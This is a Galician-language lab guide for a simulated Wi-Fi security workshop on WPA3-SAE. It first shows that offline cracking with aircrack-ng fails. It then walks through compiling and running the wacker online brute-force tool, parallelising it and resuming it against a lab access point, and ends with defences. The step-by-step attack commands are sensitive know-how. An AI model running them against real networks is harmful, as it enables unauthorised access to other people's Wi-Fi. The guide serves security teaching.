Guía de Práctica 3.1: Auditoría WPA3-SAE
Baseada na práctica 3-Taller-HE-Practica-WiFi-1.pdf
1. Contexto e Obxectivos
Nesta práctica exploraremos a seguridade de WPA3-SAE (Simultaneous Authentication of Equals). Demostraremos que, a diferenza de WPA2-PSK, WPA3-SAE é resistente a ataques de dicionario offline: mesmo capturando o intercambio SAE con airodump-ng, non é posíbel recuperar o contrasinal con aircrack-ng.
2. Mapeamento: PDF ↔ Laboratorio
| Rol | Interface | Namespace | Estado tras wifilabctl up |
Acción do estudante | |
|---|---|---|---|---|---|
| Consola 1 | AP WPA3-SAE (hostapd) | wlan0 |
phy0_wlan0 |
✅ Automático | Consulta de logs |
| Consola 2 | Cliente WPA3 (wpa_supplicant) | wlan1 |
phy1_wlan1 |
✅ Automático | Reconexión |
| Consola 3 | Atacante / Monitor | wlan2 |
(namespace global) | ⏳ Interface libre | → Terminal 3 |
Nota sobre namespaces: Os namespaces créanse con nomes
phy0_wlan0ephy1_wlan1. Comproba sempre consudo wifilabctl status.
3. Preparación do Escenario
Abre unha terminal na VM Kali e executa:
Saída esperada:
4. Terminal 1 – Atacante / Monitor (PDF: Consola 3, páx. 7-8)
Esta terminal corresponde á Consola 3 do PDF. Execútase no namespace global (sen ip netns exec).
4.1. Acceder como root (PDF: Consola 3, páx. 7)
4.2. Activar modo monitor en wlan2 (PDF: Consola 3, páx. 7)
Saída esperada:
Found 2 processes that could cause trouble.
Killing PID ...
PHY Interface Driver Chipset
phy2 wlan2 mac80211_hwsim ...
(mac80211 monitor mode vif enabled for [phy2]wlan2 on [phy2]wlan2mon)
(mac80211 station mode vif disabled for [phy2]wlan2)
A partir de agora a interface de monitoraxe é
wlan2mon, nonwlan2.
4.3. Escanear redes (PDF: Consola 3, páx. 8)
Saída esperada:
CH 6 ][ Elapsed: 12 s
BSSID PWR Beacons #Data CH MB ENC CIPHER AUTH ESSID
EA:18:30:AA:C3:48 -30 15 0 6 54e WPA3 CCMP SAE EMPRESA-XYZ
BSSID STATION PWR Rate Lost Frames
EA:18:30:AA:C3:48 8E:B3:B5:62:2D:B9 -25 0-1 0 3
- ENC:
WPA3(ouWPA2con AUTHSAEsegundo a versión de airodump-ng) - AUTH:
SAE— non é PSK
Anota o canal (CH) do AP. Preme Ctrl+C para deter.
4.4. Capturar tráfico SAE (PDF: Consola 3, páx. 7)
# Crear directorio de capturas e iniciar captura no canal do AP
mkdir capturas && airodump-ng wlan2mon -c 6 -w capturas/cap
Substitúe
6polo canal que está a usar o AP (wlan0: ACS-COMPLETED freq=2437 channel=6).
Deixa a captura activa. Non peches esta terminal.
4.5. Reconectar o cliente (PDF: Consola 2, páx. 8)
Abre unha segunda terminal (Terminal 2) e executa:
# TERMINAL 2 – Namespace do cliente (Consola 2 do PDF)
sudo ip netns exec phy1_wlan1 bash
# Eliminar wpa_supplicant existente e reconectar
pkill -f wpa_supplicant || true
wpa_supplicant -B -i wlan1 -c /home/kali/wifiLab/run/wpa3_sae/wpa_supplicant.conf
exit
Agora verifica nos logs do AP a reconexión do cliente:
Saída esperada:
wlan0: AP-STA-CONNECTED 8e:b3:b5:62:2d:b9
wlan0: STA 8e:b3:b5:62:2d:b9 WPA: pairwise key handshake completed (RSN)
wlan0: EAPOL-4WAY-HS-COMPLETED 8e:b3:b5:62:2d:b9
Preme Ctrl+C para saír do tail.
4.6. Auditar a captura con aircrack-ng (PDF: Consola 3, páx. 8)
Volta ao Terminal 1 e garda a ver WPA handshake: na cabeceira de airodump-ng e preme Ctrl+C:
# Descomprimir o dicionario rockyou
gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt
# Tentar auditar a captura SAE
aircrack-ng capturas/cap-01.cap -w /tmp/rockyou.txt
Saída esperada (fallo esperado — resultado correcto da práctica):
Por que falla? En WPA3-SAE o que captura
airodump-ngnon é un handshake reutilizábel como en WPA2-PSK, senón o intercambio de autenticación SAE (EAPOL/SAE commit-confirm) e o 4-way handshake asociado, que non permite derivar unha clave para un ataque por dicionario offline.
5. Análise: Por que WPA3-SAE é Resistente
| Característica | WPA2-PSK | WPA3-SAE |
|---|---|---|
| Ataque dicionario offline | ✗ Posíbel | ✅ Non posíbel |
| Deautenticación maliciosa | ✗ Posíbel | ✅ PMF impídeo |
| Forward Secrecy | ✗ Non | ✅ Si |
| Crack con aircrack-ng | ✗ Posíbel | ✅ Non soportado |
6. Wacker: Ataque por Forza Bruta Online contra WPA3-SAE
💡 Mensaxe clave: WPA3-SAE elimina os ataques offline de dicionario (non se pode crackear o handshake capturado). Porén, si é posible un ataque online de forza bruta directa contra o AP. A única defensa real é a fortaleza do contrasinal.
6.1. Por que WPA3-SAE non é vulnerable a ataques offline... pero si a ataques online
En WPA2-PSK, o ataque captura o 4-way handshake e crackéao offline sen límite de velocidade. WPA3-SAE bloquea este vector mediante o protocolo Dragonfly: cada sesión deriva claves únicas (Forward Secrecy) que non permiten reconstruír o contrasinal desde o tráfico capturado.
Porén, o protocolo SAE require que o AP responda a cada intento de autenticación. Isto permite un ataque diferente: probar contrasinais directamente contra o AP en tempo real.
| Característica | WPA2-PSK offline | WPA3-SAE online (wacker) |
|---|---|---|
| Captura de handshake | ✔ Necesaria | ✗ Non necesaria |
| Cracking offline | ✔ Sen límite | ✗ Imposible (Forward Secrecy) |
| Tentativas por segundo | Millóns (GPU) | ~80-150 (limitado pola rede) |
| Detectable polo AP/IDS | ✗ Invisible | ✔ Visible (tráfico SAE continuo) |
| Éxito depende de | GPU + wordlist | Fortaleza do contrasinal |
6.2. Wacker: ferramenta de dicionario online para WPA3-SAE
Wacker é un cracker de dicionario para WPA3-SAE que usa o interface de control de wpa_supplicant para lanzar intentos de autenticación SAE directamente contra o AP, sen capturar ningún handshake previo.
Mecanismo de funcionamento:
1. Wacker lanza o seu propio wpa_supplicant parcheado
2. Para cada palabra da wordlist, tenta autenticarse co AP mediante SAE Commit/Confirm
3. O AP responde con éxito ou fallo
4. Wacker interpreta a resposta e pasa á seguinte palabra
Características clave:
- ✔ Non require captura de tráfico previa — ataque puro online
- ✔ Compatible con mac80211_hwsim — funciona no noso laboratorio
- ✔ Paralelizable con múltiples interfaces e fragmentos da wordlist
- ⚠️ Lento (~80-150 palabras/segundo) fronte a cracking offline (millóns/segundo con GPU)
- ⚠️ Detectable: o AP ve tráfico SAE anómalo continuo
- ⚠️ Vulnerable a bloqueo por MAC: o AP pode blacklistear a MAC atacante
6.3. Instalación de wacker (Terminal 3)
O escenario wpa3_sae_vulnerable debe estar activo (wifilabctl up wpa3_sae_vulnerable). Wacker require compilar o seu propio wpa_supplicant parcheado. Executar no namespace global:
sudo su -
# Instalar dependencias de compilación
apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev git
# Clonar wacker
cd /opt
git clone https://github.com/blunderbuss-wctf/wacker.git
cd wacker
# Aplicar o patch ao wpa_supplicant incluído no repositorio
git apply wpa_supplicant.patch
# Compilar wpa_supplicant parcheado (pode tardar varios minutos)
cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
cd wpa_supplicant-2.10/wpa_supplicant
make -j4
# Verificar compilación
ls -lh wpa_supplicant
# -rwxr-xr-x 1 root root ~13M ... wpa_supplicant
⚠️ Este
wpa_supplicantcompilado úsao wacker internamente — non substitúe o do sistema.
6.4. Identificar o obxectivo (Terminal 3)
Wacker ataca o AP WPA3-SAE lexítimo (wlan0). O Evil Twin WPA2-PSK (wlan3) non é o obxectivo aquí — wacker vai directamente contra SAE.
# Obter BSSID do AP lexítimo WPA3 (wlan0) e a súa frecuencia
sudo ip netns exec phy0_wlan0 iw dev wlan0 info
# Saída esperada:
# Interface wlan0
# addr EA:18:30:AA:C3:48 ← BSSID_AP (anota este valor)
# ssid EMPRESA-XYZ
# channel 6 (2437 MHz) ← FREQ = 2437
# Gardar para uso posterior
BSSID_AP="EA:18:30:AA:C3:48" # substituír polo BSSID real
FREQ=2437
💡 O BSSID real pode diferir en cada arranque do laboratorio. Verificar sempre con
iw dev wlan0 infoouwifilabctl status.
6.5. Executar wacker (Terminal 4)
Abrir outra terminal. Wacker usará wlan2 (interface libre no namespace global — a mesma usada para airodump-ng nas seccións anteriores, pero agora en modo managed):
sudo su -
cd /opt/wacker
# Asegurarse de que wlan2 NON está en modo monitor (parar airmon-ng se estivese activo)
airmon-ng stop wlan2mon 2>/dev/null || true
ip link set wlan2 down
iw dev wlan2 set type managed
ip link set wlan2 up
# Descomprimir wordlist
gunzip -kf /usr/share/wordlists/rockyou.txt.gz
# Lanzar wacker (substituír BSSID_AP e FREQ polos valores reais)
python3 wacker.py --wordlist /usr/share/wordlists/rockyou.txt --interface wlan2 --bssid EA:18:30:AA:C3:48 --ssid EMPRESA-XYZ --freq 2437
Saída esperada durante o ataque:
Start time: 20 Feb 2026 10:15:32
Starting wpa_supplicant...
1532 / 14344391 words (0.01%) : 82.3 words/sec : 0.005 hours lapsed : 48.4 hours to exhaust
3847 / 14344391 words (0.03%) : 79.8 words/sec : 0.013 hours lapsed : 49.9 hours to exhaust
...
Found the password: 'spongebob19'
Stop time: 20 Feb 2026 10:19:47
⚠️ Con
rockyou.txte o contrasinalspongebob19(débil, presente na wordlist), wacker atopa o contrasinal en minutos. Con un contrasinal forte de 20+ caracteres aleatorios, o ataque tardaría séculos.
6.6. Paralelización con múltiples interfaces (opcional)
Para acelerar o ataque pódense lanzar varias instancias en paralelo, cada unha con un fragmento da wordlist:
# Desde /opt/wacker — dividir a wordlist en 2 partes
cd /opt/wacker
./split.sh 2 /usr/share/wordlists/rockyou.txt
# Xera: rockyou.txt.aaa (primeira metade)
# rockyou.txt.aab (segunda metade)
# Terminal 4 — Instancia 1 (wlan2, primeira metade)
python3 wacker.py --wordlist /usr/share/wordlists/rockyou.txt.aaa --interface wlan2 --bssid EA:18:30:AA:C3:48 --ssid EMPRESA-XYZ --freq 2437
# Terminal 5 — Instancia 2 (wlan3 en modo managed, segunda metade)
# NOTA: wlan3 é o Evil Twin, parar o hostapd eviltwin primeiro se está activo
sudo ip netns exec mitm_wlan3 pkill -f hostapd 2>/dev/null || true
python3 wacker.py --wordlist /usr/share/wordlists/rockyou.txt.aab --interface wlan3 --bssid EA:18:30:AA:C3:48 --ssid EMPRESA-XYZ --freq 2437
💡 Con
Ninterfaces, o tempo total redúcese por un factor deN. En hardware real con múltiples adaptadores USB Wi-Fi, o ataque é proporcionalmente máis rápido.
Wrapper wacker
Podemos xerar un wrapper de wacker para non ter que empregar python3 wacker.py dende o PATH de wacker.py, podendo empregar simplemente o comando wrapper:
6.7. Monitorización e reanudación
Wacker garda logs en /tmp/wacker/:
# Listar ficheiros de log (Terminal 3)
ls -lh /tmp/wacker/
# wlan2 → socket de control wpa_supplicant
# wlan2.conf → configuración wpa_supplicant para wacker
# wlan2.pid → PID do proceso wpa_supplicant
# wlan2_wacker.log → log detallado (só con --debug)
# Reanudar desde unha palabra concreta (se o ataque foi interrompido)
python3 wacker.py --wordlist /usr/share/wordlists/rockyou.txt --interface wlan2 --bssid EA:18:30:AA:C3:48 --ssid EMPRESA-XYZ --freq 2437 --start sponge
# Continúa desde a primeira palabra que comeza por "sponge"
6.8. Conclusión: a seguridade de WPA3-SAE depende do contrasinal
A práctica demostrou empiricamente que:
airodump-ngcaptura o intercambio SAE pero non contén datos crackeables.aircrack-ngfalla explicitamente:May be WPA3 - not yet supported.
Na Práctica 3.2 verificaremos a inmunidade contra KRACK usando a mesma captura (capturas/cap-01.cap) e a mesma terminal (Consola 4 do PDF).
| Tipo de contrasinal | Exemplo | Tempo estimado (wacker, 1 NIC) |
|---|---|---|
| Palabra de dicionario | spongebob19 |
Minutos (en rockyou) |
| Frase curta predecible | minomerodecasa |
Horas-días (wordlists específicas) |
| 12 caracteres mixtos | X9k!mP2@qR5n |
Anos (fóra de wordlists) |
| 20+ caracteres aleatorios | v7#Kp!2mNxQ8@wLjR4s |
Séculos (imposible na práctica) |
Defensas contra wacker:
- ✔ Contrasinal ≥ 20 caracteres aleatorios — a única defensa realmente efectiva
- ✔ sae_anti_clogging_threshold=5 en hostapd.conf — limita a taxa de intentos SAE
- ✔ Monitorización de intentos SAE fallidos con IDS/SIEM — wacker xera moito ruído visible
- ✔ WPA3-Enterprise (EAP-TLS) — elimina completamente o risco de forza bruta ao contrasinal compartido